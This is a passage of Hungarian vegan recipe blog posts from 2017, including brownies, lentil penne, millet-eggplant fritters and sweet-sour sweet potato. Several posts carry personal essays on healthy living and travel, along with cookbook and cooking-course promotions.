tesz 1 óra a hűtőben. Jó étvágyat! Elkészítési idő: 5 perc Ez egy vegán recept volt. :) Hasonló recepteket ITT találsz még. Nézd meg a legújabb Kertkonyha főzőtanfolyamokat : Kezdő Vegán Növényi Tejek és Tejtermékek A Mindennapi Superfood Letöltheted a két ajándék receptgyűjteményt is.
Málnás Brownie
Szeretem a brownie -t készíteni, mert a kedvelt bögrés süti modern változata, habár én most grammban adom meg a recept mennyiségeit. Bármilyen kedvenc friss vagy fagyasztott gyümölcsünkkel készíthetjük, vagy akár önmagában. A tömény étcsoki ízéhez illik a savanykás málna vagy más piros gyümölcs. Természetesen vegán és cukormentes, almasziruppal készül, amely segít abban, hogy a sütemény tésztája kissé “ragacsos” legyen. Hozzávalók: 240 g tönkölyliszt 120 g kakaópor 320 g 100%-os almaszirup 10 evőkanál kókuszolaj 150 ml mandulatej 1/2 tk sütőpor 100 g étcsokicsepp (süthető) Tetejére: 200 g 70%-os belga étcsokoládé 200 g málna A sütemény száraz összetevőit összekeverjük, majd hozzáadjuk a tejet és a szirupot, a folyékony kókuszolajat (kissé felmelegítjük ha ledermedt). Egy kiolajozott, kilisztezett szögletes, kb. 30X30 centiméteres sütőformába öntjük és előmelegített sütőben 200 C fokon sütjük 10 percig, majd további 15-20 percig 180 C fokon. A csokoládét vízgőz felett felolvasztjuk és a kihűlt sütemény tetején egyenletesen eloszlatjuk, rá szorjuk a málnát és hagyjuk kissé hűvös helyen megdermedni, majd tetszőleges nagyság kockákra vágjuk.
Spenótos vöröslencse penne
Ennek az ételnek a kuriózuma maga a penne tészta. Nem titkolom, hogy az Aldi áruházban találtam ezt a vöröslencse lisztből készült penne tésztát amely lencselisztet és vizet tartalmaz csupán. Gluténmentes, íze nem jellegzetes, inkább semleges, állaga rugalmas, “al dente” megfőzve. Engem csupán a színe emlékeztetett a vöröslencsére. Elkészítve egy magas növényi fehérjetartalmú ételt kapunk, amelynek rosttartalma sem elhanyagolható. Hozzávalók (4 főre) 500 g vöröslencse penne tészta 2 csapott teáskanál parajdi só (vagy ízlés szerint) 4 maréknyi friss spenót 200 ml rizs, vagy kókusztejszín őrölt fekete bors 2 cikk fokhagyma 3 evőkanyálnyi olíva olaj Szokásos módon megfőzzük a penne tésztát, leszűrjük és meglocsoljuk kevés hidegen sajtolt olíva olajjal. Egy cikk fokhagymát felaprítjuk, kissé átpirítjuk a felhevített olíva olajon, rádobjuk a spenótleveleket, sózzuk, borsozzuk, lefedjük. Miután kissé “összeesett” ráöntjük a növényi tejszínt és keveset a tészta főző vizéből. Ha szükséges még sózzuk és belepréseljük a másik cikk fokhagymát. Hozzáadjuk a kifőtt pennét a tejszínes spenóthoz és kis láng felett átforgatjuk, tálalhatjuk is. Én kevés növényi sajtot tettem a tetejére tálaláskor. Gyors ebéd vagy vacsora.
Keksztekercs
2017. március 28. Vegán receptek Tőlünk Nektek
Esztitől kaptuk,
A hagyományos Horváth Ilona könyv alapján továbbfejlesztve. :)
Hozzávalók:
- 450 g darált keksz (Lidl-ben kapható vegán vaníliás keksz)
- 90 g porcukor
- 1,8 dl növényi tej vagy növényi tejes híg gabonakávé
Töltelék:
- 10dkg növényi vaj
- 10dkg porcukor
- 5dkg kókuszreszelék
A kekszet ledaráljuk és az előirt anyagokkal összegyúrjuk. A kekszet kettéválasztjuk és labdákat gyúrunk belőle. Kókusszal meghintett ezüstpapíron négyszög alakúra kihajtjuk mindkettőt. A krém hozzávalóit habosra keverjük, ezzel megkenjük, felcsavarjuk és egy éjszakára hűtőbe tesszük. Ferde szeletekre vágjuk. Egyszerű, gyors, sütés nélküli finomság.
Jó Étvágyat! :)
Ezt ettem ma 2017. március 15 szerda
2017. március 18. Gitta nyersétel blogja
Reggel 4 dl citromos víz Utána 5 dl grapefruitos almalé (többet ittam, mint amennyi a pohárban van) grapefruitos almalé Ebéd: kesuhús sárgarépa rizzsel, kápia paprikával, petrezselyemmel Kesuhús Ez a kesuhús ma készült először, gondoltam ma nem salátát eszem :) 2 adaghoz 10 dkg kesudiót sóval, füstölt paprikával, borssal, köménnyel, sörélesztő pehellyel finomra őröltem, utána kivettem a gépből és 2 evőkanál vízzel masszát nyomkodtam belőle. Laposra nyomkodtam egy tányérban, és két húsforma alakot formáztam belőle. 1 órát állt, kicsit összekapta magát... Kesuhús körettel A rizst sárgarépából és egy darabka zellerből aprítottam, ez nincs fűszerezve, ő a köret. Az apróra vágott kápia és a friss petrezselyem a "saláta"... A kesuhús annyira lágy és krémes és fűszeres-ízes, hogy a zöldségek mellette nagyon jól elvoltak különösebb ízesítés nélkül. sárgarépa 'rizs' Vacsora: pecsenyezsíros kenyér lilahagymával, paprikával A kenyér receptjét ITT TALÁLJÁTOK pecsenyezsír: olvasztott kókuszolajat befűszerezel kedved szerint: só, fokhagyma, bors, stb... a fokhagyma és a só a legfontosabb... pecsenyezsír kókuszolajból megkened vele a kenyeret és jó sok zöldséggel tálalod :) A folyadék fogyasztásom egyre több... napközben megittam 1 liter vizet (még nincs vége a napnak, és most fogom még jógázni), és 5 dl homoktövis italt (bio, dobozos) zsíroskenyér zöldségekkel
Banán turmix
2017. március 14. Beautilicious
A nap folyamán megéheznél, de nincs időd leülni enni, ezt bármikor kortyolgathatod. Remek energiaforrás például edzés előtt vagy akár két nagyobb étkezés között. Csupa finomsággal van tele, nagyon finom és pillanatok alatt kész :) hozzávalók - 1banán - 2ek natúr joghurt - 1ek chiamag - 1ek kókuszreszelék - 250ml növényi tej Elkészítés: Nincs más dolgod, mint turmixgépbe pakolni a hozzávalókat, összeturmixolni és élvezni az ízeket :)
Kakaós zabpuding
2017. március 10. Éltető ételek
Még hogy a puding nem egészséges? Hát, a kukoricakeményítős, bolti valóban nem... no de ezt bátran elkészítheted magadnak vagy a gyerekeidnek. Imádni fogják. Gluténmentes zabliszt alapú, élelmi rostban gazdag, kitűnő növényi fehérjeforrás. Rosttartalmának köszönhetően lassabban emeli meg a vércukorszintet a bolti társainál, így bátran lehet egy kiegyensúlyozott étrend része. Hozzávalók (4 adag): - 6 dkg zabpehely darálóval megdarálva vagy vásárolható zabpehelyliszt is - 2 dkg cukrozatlan, magas kakaótartalmú kakaópor (pl. holland) - 3 evőkanál kókuszvirágcukor - 2 teáskanál konjakliszt (ez segíti a bolti állag utánzását. Ha már megszoktad, hogy az egészséges sokszor másabb állagú/ízű, mint a bolti, akkor nyugodtan kihagyhatod. Az ízén nem változtat.) - 6 dl növényi tej - 1 teáskanál kókuszzsír - csipet himalája só - késhegynyi vaníliapor Elkészítése: - Az alapanyagokat mérd ki, majd a tejet lassan adagolva hozzá csomómentesen keverd el. - Kezdd el főzni, kb. 3-4 perc alatt el is készül. - Töltsd ki pohárkákba, majd kedved szerint díszítsd gyümölccsel, kókuszreszelékkel.
Diéta vagy életmód?
2017. március 3. Beautilicious
Sokan kérdezik;Miért diétázol? Meddig akarod ezt csinálni? Hány kiló a célod? Miért nem eszel gyors kaját, finomított élelmiszereket? Számomra a válasz egyértelmű. Ez nem diéta ez életmód! Mióta egészségesen és tudatosan étkezem, sokkal kiegyensúlyozottabb vagyok mind testileg, mind lelkileg. A kezdetekben persze ezt else tudtam volna képzelni, hisz tonna számra faltam a csokit és a péksüteményeket. Mára semmi nem változott. A reggelemet imádom édesen indítani például egy tiramisuval, fánkkal vagy mondjuk egy adag kókuszgolyóval, csak kicsit átalakítva. Ezeknek az alapanyaga nem más, mint gyümölcsök, zöldségek, zab, maglisztek, tojás, vagy épp magliszt, ennek ellenére íze olykor jobban sikerül, mint egy hagyományos cukros, tartósítószerrel teli desszerté. Az elején rossz úton indultam, és abban a tévhitben éltem, hogy a nem evés fogyaszt. NEM! Ez marha nagy baromság, szeresd a tested és inkább kényesztesd el őt egy egészséges édességgel, ami nemcsak hogy testednek, de lelkednek is erőt ad. Nekem az úton pédaképem, az anyukám segített elindulni, aki nélkül sehol se lennék. A közös sütések és a közös edzések mindig feldobják a napomat. Ha úgy érzed, rossz napod volt, nem kell mást tenned csak elmenni az edzőterembe azzal a személlyel akit igazán szeretsz, és egy közös mozgás el is feledteti veled, hogy miér voltálszomorú. Ezt tapasztalatból mondom :). Nem beszélve arról, hogy a mozgás nemcsak hogy hozzátartozik az egészséges életmódhoz, de egy remek program, főleg ha azzal csinálod, akit a világon a legjobban szeretsz. Célom, hogy én is segíthessek nektek. Nincs is jobb érzés, mikor egy sikeres sütit alkotok, amit aztán megoszthatok veletek. Bár még csak 17 éves vagyok, sok mindenen keresztül mentem, de úgy érzem, mára megtaláltam önmagam, és azt ami igazán boldoggá tesz Ha kérdésetek van szívesen válaszolok, legyen az egy sütivel, vagy épp az életmóddal kapcsolatos, de tulajdonképpen bármilyen témában forduljatok hozzám, szívesen válaszolok. :)
PaKölNi, azaz a PAdlizsán-KÖles tócsNI és egy kis utazós szösszenet (gluténmentes, laktózmentes, tojásmentes, vegán)
2017. február 28. Zöld Avocado
PaKölNi, azaz a padlizsán-köles tócsni (gluténmentes, vegán) Hamarosan ismét útra kelünk. Ilyenkor mindig igyekszem olyan recepteket kitalálni, melyekkel fel tudom használni a kamrában és a polcokon várakozó alapanyagokat. Mivel mottóm, hogy "ételt a szemétbe ki nem dobunk", igyekszem elpusztítani mindent, hogy ne maradjon utánunk semmi. Ennek a polckiürítő akciónak köszönhetőn jött a feladvány... Mit kezdjek a bontatlan kölessel, van egy csomó lenmagom, útifűmaghéjam és két db padlizsán is már a végét járja a hűtőben. A múltkori nagy sikerű csicseriborsó-sárgarépa-cukkini FALNI inspirálta a most elkészült kistestvérét, PaKölNi-t. PaKölNi, azaz a padlizsán - köles tócsni, mely a pakolós időszakra még szóviccnek is elmegy. Gyerünk, gyerünk pakolni, segít benne PaKölNi! :-D Aki ismer, az tudja, hogy szeretem a változást. Szeretjük megélni az életet és felfedezni minél több országot, kultúrát, gasztronómiát, tájat stb. Ezt az évtizedet az utazásoknak, a különböző országok "otthonként" való megélésüknek szenteljük. Miközben látunk, tapasztalunk, tanulunk és rengeteget fejlődünk... Mindenkinek kötelezővé tennék min. egy fél év utazást más országokba. Sokkal jobb, mint bármilyen iskola! Hollandiában a legtöbb érettségizett fiatal útra kel 1 évre, utazgat, dolgozgat, önkénteskedik, megismeri a Világot és önmagát a Világban. Így sokkal könnyebben tér vissza a szólő országába és választ továbbtanulási lehetőséget vagy munkahelyet. Gondoljunk csak bele mennyire nem ismerjük magunkat és a lehetőségeinket még 18 évesen... mégis választanunk kell "Mi leszel ha nagy leszel" életet. És mennyi téves útra lépünk rá, vagy éljük le az életünket boldogtalanul a számunkra nem megfelelő szakmában... Szomorú. Most már tudom, hogy az utazás annyi mindenre gyógyír és válasz. Kinyílik a Világ minden értelemben. Amikről azt hittem korábban, hogy problémák és milyen rossz nekem, most már tudom, hogy semmiség. Találkoztam számtalan emberrel a Világ másik végéről, akik megmutatták, hogy milyen szerencsés vagyok, amiért EU-s útlevelem van. Egyik nap még a tehenek földjén élek és dolgozom, másik nap már a Kanári szigetek egyik üzletében vagyok eladó. Könnyedén megtehetem, mert EU van. Miközben több ezer vagy talán millió ember szeretne változtatni az életén, a környezetén, amibe beleszületett, de nem tud, mert nem lehet. Mivel vagyok én jobb vagy több, mint az a brazil barátom, aki a nyomornegyedből felküzdötte magát az egyetemig, szuper okos és nagyon jó IT-s szakember? De mivel vízumköteles országból jött, hiába szeretne egy menő európai cégnél dolgozni, ahol kapkodnának a szakértelme és a tudása után, nem kap munkavállalási vízumot. Több ezer eurót fizet minden félévben a diákvízumért, hogy időt nyerjen magának miközben keresi a céget, aki "örökbe fogadná", mint munkavállaló. Közben pedig takarít vagy más betanított munkát végez, hogy meglegyen a napi betevő. Ilyenkor mindig rájövök, hogy én milyen szerencsés vagyok. Hiszen nekem EU-s útlevelem van. PaKölNi, azaz a padlizsán-köles tócsni (gluténmentes, vegán) Egy másik számomra nagyon tanulságos és értékes barátság egy örökké mosolygó fülöp-szigeteki lánnyal volt/van. Cathy mesélte nekem, hogy a hazájában átlagosan 8-10 gyermek van egy családban. Sok szép tini lányt adnak el a szülők emberkereskedőknek, hogy a többi testvérüket tudják etetni és iskoláztatni. 1 áldozat a másik 8-ért cserébe. A szerencsésebbeket külföldre adják férjhez, ahol a "gazdag" európai feleség életét élhetik. Ez számukra az álom élet. Kislányként amikor a szőke hercegről álmodoznak, akkor egy fehér bőrű, európai herceg képe kering előttük, aki repülővel érkezik és egészen Európáig repíti őket a szülői háztól. Az én barátnőm is ilyen életet álmodott és kapott is magának holland feleségként. Otthon holland történelmet, alap ismereteket tanítanak ezeknek a lányoknak, holland-filippínó internetes társkereső oldalakon regisztrálnak, majd amikor megvan a nagy "Ő", akkor holland vizsgát kell tenniük, ahol a holland ABC ismeretéről is tanúbizonyságot kell tenniük. Azok, akik megbuknak a vizsgán, nem mehetnek el. És mindez legálisan. Persze vannak LOVE sztorik is. Cathy barátnőm is szerencsés, hiszen a kiválasztottal végül a szerelem is kialakult, így habár az áhított európai élet csalódást okozott neki (túl sok szabály és kevés öröm), azért a társát megtalálta. Ilyen és ehhez hasonló barátságok után hatalmas hálát érzek érte, hogy szabadon választhattam meg a férjem és szerelemből házasodhattam. Ez is egy hatalmas kiváltság még mindig a mai Világban. Annyi minden van, amiért hálásak lehetünk, mert magyarnak születtünk. Ezek nagy részét csak akkor érthetjük meg, élhetjük át, ha egy kis időre elhatjuk a hazánkat és megismerjük a Világot. Mi is ismét útra kelünk és az idei év szorgos napjait Franciaországban fogjuk tölteni. Izgatottan és kíváncsian várom az új kalandokat, az új élményeket, a fejlődési lehetőségeket. Nektek is azt tudom ajánlani, hogy ha tehetitek, hagyjátok el időnként a komfortzónátokat, mert mindig megéri, bármilyen ijesztőnek is tűnik előtte az új kaland. ;-) És akkor vissza a recepthez... A recepthez, mely egyszerű, csak pár hozzávalóra lesz szükségünk, és szerintem a hagymás dödölle ízvilágához hasonlít a leginkább. Ha nem tudom, hogy köles van benne, akkor krumplira tippeltem volna. PaKölNi, azaz a padlizsán-köles tócsni (gluténmentes, vegán) HOZZÁVALÓK (kb. 2-3 személyre) - 2 db padlizsán - 1 bögre köles + 2 bögre tiszta víz - (Himalája) só, frissen őrölt fekete bors, 1 ek o regánó - 1 db kisebb vöröshagyma - 1 ek kókuszzsír - 1 ek útifűmaghéj - (2 ek lenmag - elhagyható) PaKölNi, azaz a padlizsán-köles tócsni (gluténmentes, vegán) ELKÉSZÍTÉS 1) A padlizsánt hámozzuk meg, vágjuk fel kockákra és párolóedényben pároljuk puhára kb. 20 perc alatt. 2) A kölest a dupla adag vízben főzzük szét fedő alatt, ragacsosra, kb. 15 perc alatt. 3) A kihűlt és puhára párolt padlizsánt a vöröshagymával együtt turmixoljuk péppé. (Ehhez használhatunk zöldségaprítót vagy kézi botmixert. De villával is szét tudjuk nyomkodni a padlizsánt, amihez aztán hozzáreszelhetjük a vöröshagymát.) 4) A padlizsán + vöröshagyma pépet a kihűlt ragacsos kölessel és az összes egyéb hozzávalóval egy tálban kézzel összenyomkodjuk. Azért kézzel, mert úgy sokkal puhább lesz. A végén egy nagy hagymától illatozó masszát kell kapnunk. 5) Hagyjuk a masszát kb. 15 percet pihenni. 6) Vegyük elő a teflon palacsinta sütőnket és kevés kókuszzsíron süssünk a masszából tócsni szerű, tenyérnyi méretű plecsniket. Mindkét oldalt süssük aranybarnára. A puha tészta könnyen törik, ezért műanyag lapáttal fordítsuk meg őket, hirtelen mozdulatokkal. 7) Tálalhatjuk a kész PaKölNi tócsnikat diétánkhoz hű vegán natúr joghurttal, laktózmentes tejföllel, de akár avokádókrémmel is el tudom képzelni. Jó étvágyat kívánunk a rendhagyó és mégis egyszerűen elkészíthető ételhez! PaKölNi, azaz a padlizsán-köles tócsni (gluténmentes, vegán) Táplálkozz, ne csak étkezz! Tetszett a recept? Lapozz bele a Mit eszik a Világ? című könyvembe, melyben 284 színes oldalon ... ...és 170 db egészséges recepten keresztül ehetjük körbe a Világot! Megnézhetjük együtt milyen alapanyagokat fogyasztanak már több ezer éve a távoli országokban,... ...hogyan őrzik meg egészségüket és maradnak fiatalok az emberek, ...miként készíthetjük el a természet kincseit az európai otthonunkban is könnyedén és ízletesen! Számtalan recept, sok-sok hasznos konyhai tipp és rengeteg természetes alapanyag, diétánkhoz igazítva! "Kedves Mit eszik a világ? rajongók! Büszkén jelentem, hogy már én is közétek tartozom! Eddig is tudtam, hogy az leszek, de a tegnapi napon tulajdonosa lettem a várva várt dedikált példánynak! ? Abban a szerencsében részesültem, hogy részt vehettem a hollandiai könyvbemutatón és megkóstolhattam néhányat ezekből a csodás receptekből! Aki kihagyta sajnálhatja, akinek pedig lehetősége lesz egy könyvbemutatón résztvenni, Ne hagyja ki!!! Nagyon megéri! Az ételek nem csak, hogy egészségesek, könnyen elkészíthetők, de finomak és ízletesek is!!! (Én még húsevő, jól megtermett férfiakat nem láttam így enni... Nem mozdultak el az asztal mellől és megnyalták mind a 10 ujjukat ?) Köszönöm Szonja, hogy vagy, hogy megteremtetted ezt a csodát, hogy útmutatást adsz egy általam választott új kihívásban és életmódváltásban, és hogy a barátomnak mondhatlak!!! ? ?" /Barbi/ Kattints ide és nézz bele a könyvbe!
Karfiolrizs
Számtalan testépítő és fogyókúrázó oldalon jelent már meg ez vagy ehhez hasonló recept. Fogyasztható magában, vagy köretként is. Igazából egyfajta rizst, rizs jellegű és állagú ételt készíthetünk karfiolból. Nagyon egyszerű elkészíteni. Erre lecserélheted a hízlaló fehér rizst!
A recept
Hozzávalók:
- 1 fej karfiol
- só
- kurkuma/petrezselyem (opcionális)
- kókuszzsír
Elkészítés:
A karfiolt rózsáira szedjük és zöldségaprítóban vagy turmixgépben összetörjük. Akiknek nincs ilyen konyhai eszköze, egy nagyobb éles kés is megteszi. A lényeg, hogy ne pépesre, hanem morzsásra aprítsuk a karfiolt. Már csak egy kevés kókuszzsíron kell megpirítanunk, ízesítenünk sóval és kurkumával vagy petrezselyemmel, vagy mindkettővel. Ha igazán különlegesen szeretnénk, kipróbálhatjuk koriander összetört leveleivel és megmosott bio citrom vagy lime reszelt héjával. Ha kíméletesen megpirítjuk, nem puha lesz, mint a túlfőzött fehér rizs, hanem roppanós.
Ha fehéren meghagyjuk, nem teszünk hozzá kurkumát, viszont aprított petrezselyem levelet igen, valóban úgy fog kinézni, mint egy petrezselymes rizs.
"A Nap első sugarai" - háromszínű zöldségleves
2017. február 21. Vegán receptek Tőlünk Nektek
Anna újabb ínycsiklandó levese:
Hozzávalók:
- 3 nagyobb sárgarépa
- 1 nagy pasztinák
- 1 kisebb karórépa vagy karalábé
- hagyma
- só
- Eden würzl leveskocka
- sáfrányos szeklice
- petrezselyem 2-3 evőkanál kókuszolajon apróra kockázott hagymát megdínsztelek, majd az azonos méretűre kockázott zöldségeket is hozzáadom, sóval együtt párolom. Hagyma nélkül is ízletes. Két "Eden würzl" leveskockát és sáfrányos szeklicét beleszórok a levesbe. Puhára főzöm, a legvégén petrezselymet teszek hozzá. Az édes ízek, meleg színek harmóniája felfrissül a zöld petrezselyemmel. Tálalhatom grízgaluskával is. Jó étvágyat!
Céklás-kakaós zabkása
2017. február 18. Beautilicious
A zabkása egy tökéletes választás a nap indításához. Nem kell hozzá se se idő, se nagy főző tudomány. A legjobb benne, hogy annyi féle képp elkészítheted, hogy sose lehet ráunni. Az én egyik kedvenc ízesítésem a céklás-kakaós, amit megsúgok nektek, hogyan készítek. hozzávalók - 40g zabpehely - 150ml kókusztej - 1ek édesítő - fél főtt cékla - 1ek kakaópor Így készítem - A céklát megfőzöm, majd aprítógépben pépesítem - a zabpelyhet felteszem főni a tejjel, majd hozzáadom a céklát - Még melegen belekeverem az édesített kakaóport
Grillezett padlizsánkarikák
2017. február 16. Vegán receptek Tőlünk Nektek
Anna legújabb menüje:
Hozzávalók:
A pác:
- 2-3 ek mustár
- 3-4 gerezd fokhagyma
4-5 ek olaj ( lehet oliva de más is)
- víz és só
Az összetevőket összeturmixoljuk, a padlizsánkarikákat egy éjszakára (vagy reggel betéve, esti sütéshez) pácba áztatjuk. A padlizsánkarikákat grilltálcára fektetve sütőben puhára sütjük.
Köretek:
A kölest előre megfőzzük, nem kell, hogy szétfőjön, de puha legyen.
Egy-két vöröshagymát apró kockákra vágunk, sóval kókuszolajon dínszteljük, majd hozzáadjuk a füstölt tofukockákat és együtt pirítjuk, amíg kellemes puha néhol barnásra pirult lesz.
Ezen a ponton kivehetünk annyit, amennyit a köleshez szeretnénk keverni.
A többihez az édesburgonyát felkockázva szintén hozzákeverjük, kicsit együtt pirítjuk, majd kevéske (1,5 dl) vízzel puhára főzzük.
Jó Étvágyat!
Királynők reggelije
2017. február 14. Beautilicious
Ugye te sem hagyod ki a reggelit a mindennapjaidból. Bármi is a célod, akár a fogyás akár csak az egészséges életmód, a reggeli a nap legfontosabb étkezése. Ahhoz, hogy energikusan induljon a napod, ahhoz a szervezetednek szüksége van energiára. Persze a rohanós hétköznapokon nincs sok időnk a reggelire, de 5-10 percet mindenkinek szánnia kell az egészségére. Ha nem tudod mit reggelizz, én segítek. Válasz reggelire zabkását, és a szervezeted meghálálja. Hogy miért pont a zabkása? A zab egy olyan teljesértékű gabona, mely szervezetedet lassú felszívódású szénhidrátokkal látja el, és sokáig teltség érzetet okoz. Alacsony a glikémiás indexe, így a cukorbetegeknek is ajánlott fogyasztása. Gazdag rostokban, B és E vitaminban. Magas a fehérjetartalma, a sportolók is előszeretettel fogyasztják. Fogyasztása ajánlott a magas koleszterinszint illetve magas vérnyomás ellen. Rendszeres fogyasztása rák megelőző, valamint segít csökkenteni a szív és érrendszeri megbetegedések kialakulásának kockázatát. Számtalan egészségügyi hatása mellett antidepresszáns, azaz hangulatjavító hatása van, és nagyon finom is. Nekem az egyik kedvenc reggelim, és olyan sokféleképp elkészíthető, hogy sose lehet megunni. Én így készítem: 50g zabhelyhet összekeverek 1ek édesítőszerrel és vaníliakivonattalFelöntöm 200ml kókusztejjel, de vízzel vagy sima tejjel is ugyanolyan finom5-10percig főzöm lassú tűzönÍzesítem gyümölcsökkel, magokkal kedvem szerint
Gluténmentes étel teff maggal és mángolddal
2017. február 11. Vegán receptek Tőlünk Nektek
Anna újabb receptje:
Hozzávalók:
- póréhagyma
- mángold
- napraforgó mag
- kókuszolaj
- só
- teff magok
A póréhagymát, a mángoldleveleket és a napraforgó magot 1 ek kókuszolajon sóval megpároljuk. Felöntjük egy kis vízzel, beleszórunk teff magokat. Együtt főzzük, míg a teff is kész. Egy részét napraforgó-/ tökmaggal és kis vízzel,pár csepp citrommal összeturmixolva krémet kapunk, amit bármilyen ( akár gluténmentes) tésztával, főtt quinoával összekeverve nagyon finom ételt kapunk. Kenhetjük kenyérre is. A maradék párolt mángoldot köretként szervírozhatjuk.
Jó étvágyat!
Picit a teffről:
https://glutenerzekeny.hu/kevesbe-ismert-glutenmentes-gabonafelek-a-teff/
Káposzta-zöldborsó-krumpli sabji
Hozzávalók: 1 kis fej káposzta 1 nagy krumpli 20 dkg fagyasztott zöldborsó 3 ek ghi vagy olaj 2,5 kk fekete mustármag 2-3 apró száraz chili (ízlés szerint) 5 db currylevél fél kk asafoetida 3 kk sambar masala 1 kk kurkuma 2,5 kk só 3 ek tejszín (elhagyható, kókusztejszín is lehet) Előkészítjük a...
Diós csigák
Leila hercegnő második számú kedvence ;) A legtöbb ember a péksüteményt ma már csak egy utcai bódéban tudja elképzelni. Persze, hiszen minden második sarkon van már pékség. Egyik ilyen, másik olyan, mi meg válogatunk, fanyalgunk vagy akár ácsingózunk rajtuk. Aztán rohanvást gyűrjük le a csigákat meg pogikat az utcán, belebújunk a papírzacskóba, és közben azon morfondírozunk, hogy vajon mekkora az a falat, aminél még úgy tűnik, mintha semmi nem lenne a szánkban. :)))) És fogalmunk sincs már, hogyan kell péksütit sütni, sőt, biztosak is vagyunk benne, hogy ez valami hipernehéz, ultrabonyolult dolog. Pedig nem is! :) Próbáld ki a házi péksütiket, simogasd a tésztát, válogasd össze te az alapanyagaidat, és láss csodát: ez a péksüti bizony nem csak frissen sütve lesz jó, hanem akár másnap is, és újra felfedezed a régen elfeledett ízeket. Csinálj sokat, fagyaszd le, és minden egyes reggel, amikor előveszel egyet, áldani fogod a saját nevedet. ;) Mostantól nincs kifogás, ha a család (én! hehe..) édeset kíván: ezekből a hozzávalókból nálam tényleg mindig van otthon, és itt az én szuper diós csigám, amihez az ihletet Zöldella receptje szolgáltatta. Ezúton is köszönöm neki! :) Hozzávalók két nagy tepsi csigához: - 600 g liszt - 300 ml növényi tej - 125 g langyos kókuszolaj - 100 g nádcukor - 1 csomag vaníliás cukor - 35 g friss élesztő - 3 nagy csipet só A töltelék - 120 g langyos kókuszolaj - 200 g darált dió - 100 g porcukor - A lisztet öntsük egy nagyobb tálba, keverjük hozzá a cukrokat és a sót. Öntsük hozzá a langyos kókuszolajat és a tejben feloldott élesztőt. - Dagasszuk, dolgozzuk jól ki a tésztát, ami akkor jó, ha elválik az edénytől. Ezután kelesszük langyos szobában egy órát. Ha van kenyérsütő gépünk, eyszerűen tegyük bele a tészta alapanyagait, és kapcsoljuk be a dagasztás programot. - Közben keverjük ki a tölteléket a hozzávalókból. - Amikor megkelt a tészta, osszuk ketté, és lisztezett felületen a gombócokat egyenként nyújtsuk 2-3 mm vastag lappá. Ezeket egyenletesen kenjük meg a töltelékkel, majd tekerjük fel rúddá. - Vágjuk másfél-két centi vastag szeleteket a rúdból, és fektessük őket sütőpapírral bélelt tepsire. Hagyjunk a csigák között minimum 2 cm távolságot, hogy később legyen helyük megdagadni. - 200 fokos sütőben süssük meg szép barnára. A sütőbe tegyünk egy kis edényben vizet is, és vigyázzunk, ne száradjon ki a tészta. Miután kivettük, a még forró csigák tetejét megkenegethetjük növényi tejjel. Jó étvágyat! Elkészítési idő: 20 perc (+kelesztés, sütés) Ez egy vegán recept volt. :) Ha tetszett, hasonlókat ITT találsz. Letöltheted a két ajándék receptgyűjteményt is. Nézd meg a legújabb Kertkonyha főzőtanfolyamokat : Kezdő Vegán Magyaros Konyha Vegán Módra Növényi Tejek és Tejtermékek Görög Vegán Szendvicskrémes
Édes-savanyú ananászos batáta rizzsel (gluténmentes, laktózmentes, tojásmentes, vegán)
édes-savanyú ananászos batáta rizzsel (mindenmentes, vegán) Az úgy kezdődött, hogy AKCIÓS volt az ananász és az édesburgonya is a boltban... aztán úgy folytatódott, hogy mostanában a régi, kedvenc húsos ételeimet reformálom meg és varázsolom őket húsmentessé, a leginkább természethez (és nem pedig az élelmiszeriparhoz) közeli állapotba. Így hát végül úgy végződött, hogy a múltkori mexikói-magyar barátság után, most Délkelet-Ázsia konyháiba kalauzollak el titeket egy kis thaiföldi napsütésért. ;-) Az édes ízek kedvelőit most nagyon boldoggá fogom tenni! :-) Csak annyit fűznék hozzá: sokkal finomabb lett, mint azt elképzeltem! :-o édes-savanyú ananászos batáta rizzsel (mindenmentes, vegán) HOZZÁVALÓK (Kb. 4 személyre) kb. 800 g batáta (vagy édesburgonya) kb. 800 g friss ananász 4 ek kókuszzsír vagy olívaolaj (Himalája) só, csipet őrölt fehér bors 2 ek világos szójaszósz, 2 ek balzsamecet (étkezési ecet is jó) 3 gerezd fokhagyma 1 közepes fej vöröshagyma 1/2 db zöld színű és 1/2 db piros színű kaliforniai paprika 1 tk frissen reszelt gyömbér 4 ek ketchup (paradicsompüré is jó) 3 ek édesítőszer tetszés szerint (én kókuszcukrot használtam) 1/2 db frissen facsart citrom leve 2 bögre barna rizs (3 ek fehér szezámmag - elhagyható) édes-savanyú ananászos batáta rizzsel (mindenmentes, vegán) ELKÉSZÍTÉS 1) A rizst feltesszük a szokásos módon főzni. (Dupla adag vízben, kb. 25 percig.) 2) Előkészítés: A vöröshagymát és a paprikákat hosszúkás csíkokra vágjuk. A batátát (édesburgonyát) és a friss ananászt meghámozzuk és kb. kockacukor méretű formákra vágjuk. 3) Felteszünk egy WOK-ot a tűzhelyre. Beletesszük a kókuszzsírt, a vöröshagymát, a felkockázott batátákat, a csíkokra vágott paprikát egy 1/2 bögre tiszta vízzel főzni. Reszeljük hozzá a fokhagymákat és a gyömbért. Fedjük le fedővel és kb. 15 perc alatt főzzük félpuhára a batátát. 4) Ezután hozzáadjuk az ananászt és fedő nélkül még kb. 10 percig főzzük. 5) Közben keverjük ki az édes-savanyú szószt: ketchup + szójaszósz + balzsamecet + édesítőszer + 4 ek tiszta víz. Forraljuk fel az egészet, majd vegyük le a tűzről és adjuk hozzá a frissen facsart citromlét, majd az egészet keverjük az ananászos batátához. (Tetszés szerint megszórhatjuk szezámmaggal is.) 6) Egy utolsó összeforralás (kb. 2 perc) és már kész is. 7) Barna rizzsel, rizstésztával vagy üvegtésztával azonnal tálalható. (Én szervíroztam mellé friss és ropogós jégsalátát is.) édes-savanyú ananászos batáta rizzsel (mindenmentes, vegán) Táplálkozz, ne csak étkezz! édes-savanyú ananászos batáta rizzsel (mindenmentes, vegán)Jó étvágyat kívánunk! :-) Tetszett a recept? Lapozz bele a Mit eszik a Világ? című könyvembe, melyben 284 színes oldalon ... ...és 170 db egészséges recepten keresztül ehetjük körbe a Világot! Megnézhetjük együtt milyen alapanyagokat fogyasztanak már több ezer éve a távoli országokban,... ...hogyan őrzik meg egészségüket és maradnak fiatalok az emberek, ...miként készíthetjük el a természet kincseit az európai otthonunkban is könnyedén és ízletesen! Számtalan recept, sok-sok hasznos konyhai tipp és rengeteg természetes alapanyag, diétánkhoz igazítva! "Draga Hanis Szonja! Mai nap megérkezett a nagyszerű könyved a Mit eszik a Világ? Nagyon profi munka, telis-tele jobbnál jobb nemzetközi receptekkel. Minden egyes oldalról árad a szeretet, a profizmus. Imádom a fotókat benne, nemcsak a finomabbnál finomabb ételekről, hanem rólatok és a csodálatos tájairól is! 